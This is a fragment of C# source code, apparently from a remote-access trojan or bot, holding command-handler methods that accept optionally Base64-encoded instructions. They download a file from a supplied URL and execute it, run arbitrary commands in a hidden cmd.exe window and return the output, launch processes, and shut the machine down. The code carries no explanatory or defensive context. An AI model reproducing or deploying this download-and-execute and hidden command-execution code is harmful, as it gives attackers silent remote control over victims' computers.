public static String Downloader2Execute(String Info, Boolean Encrypt) { if (Encrypt) { Info = Cryptos.Base64_Decode(Info); } try { String Response = Downloader(Info, false); if (Response == "执行成功!") { File.Move(Configs.PATH_DOWNLOAD, Configs.PATH_EXECUTE); return(ShellExecute(Configs.PATH_EXECUTE, true)); } else { return(Response); } } catch (Exception Ex) { Console.WriteLine(Ex); return(Ex.ToString()); } }
public static String Shutdown(String Info, Boolean Encrypt) { if (Encrypt) { Info = Cryptos.Base64_Decode(Info); } int WaitTime = int.Parse(Info) + 10; Info = WaitTime.ToString(); return(RunCMD("shutdown /s /t " + Info, false)); }
public static String ShellExecute(String Info, Boolean Encrypt) { if (Encrypt) { Info = Cryptos.Base64_Decode(Info); } try { Process.Start(Info); } catch (Exception Ex) { return(Ex.ToString()); } return("执行成功!"); }
public static String Downloader(String Info, Boolean Encrypt) { if (Encrypt) { Info = Cryptos.Base64_Decode(Info); } try { WebClient Client = new WebClient(); Client.DownloadFile(Info, Configs.PATH_DOWNLOAD); } catch (Exception Ex) { Console.WriteLine(Ex); return(Ex.ToString()); } return("执行成功!"); }
public static String RunCMD(String Info, Boolean Encrypt) { if (Encrypt) { Info = Cryptos.Base64_Decode(Info); } Process P = new Process(); P.StartInfo.FileName = "cmd.exe"; P.StartInfo.UseShellExecute = false; P.StartInfo.RedirectStandardInput = true; P.StartInfo.RedirectStandardOutput = true; P.StartInfo.RedirectStandardError = true; P.StartInfo.CreateNoWindow = true; P.Start(); P.StandardInput.WriteLine(Info + " & exit"); P.StandardInput.AutoFlush = true; String Output = P.StandardOutput.ReadToEnd(); P.WaitForExit(); P.Close(); return(Cryptos.GBK2UTF8(Output)); }